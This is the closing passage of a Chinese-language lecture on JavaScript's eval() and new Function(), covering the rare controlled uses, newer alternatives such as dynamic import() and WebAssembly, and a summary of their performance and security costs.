今天的讲座即将接近尾声，但关于 eval() 和 new Function() 的思考远未停止。

何时可能“不得已而为之”？

在极少数、高度受控的场景下，例如：

• 开发工具、IDE或REPL环境：这些工具的本质就是执行用户输入的代码，但它们通常运行在受信任的环境中，且会采取额外的安全措施。
• 沙箱环境（例如Node.js的vm模块）：在服务器端，可以通过Node.js的vm模块创建独立的上下文来执行代码，并严格限制其对系统资源的访问。但这也需要极高的专业知识和谨慎。
• 某些特定领域的DSL（领域特定语言）解释器：如果需要构建一个高度定制化的语言解释器，并且其输入源完全可信，new Function() 可能作为其编译目标的一部分。

但即使在这些场景下，也必须对输入进行极致的验证、净化，并且理解其潜在的风险。对于绝大多数Web应用程序来说，答案是永不使用。

未来展望：

JavaScript语言和Web平台一直在进化，以提供更安全、更高效的动态性实现方式。

• ES Modules：提供了模块化的代码加载和管理机制，避免了全局污染。
• 动态导入 (Dynamic import())：允许在运行时按需加载模块，提供了比eval更安全、更高效的代码动态加载方式。
• WebAssembly：为浏览器带来了新的高性能、沙箱化代码执行能力。
• TC39提案：未来可能会有更安全的动态代码生成机制，但目前我们应坚持使用现有最佳实践。

---

结束语

eval() 和 new Function() 是JavaScript语言中强大的特性，它们赋予了我们运行时执行代码的能力。然而，这种能力并非没有代价。它们是性能的拖累者，因为它们阻碍了JIT编译器的优化；它们更是安全的重大隐患，为各种恶意攻击敞开了大门。

作为负责任的开发者，我们应该深刻理解这些风险，并尽可能地在项目中避免使用它们。当确实需要动态性时，应优先考虑使用数据驱动、预编译、函数工厂、JSON解析或成熟的模板引擎等更安全、更高效的替代方案。

记住，代码的优雅不仅体现在其功能实现上，更体现在其安全性、可维护性和性能上。感谢大家！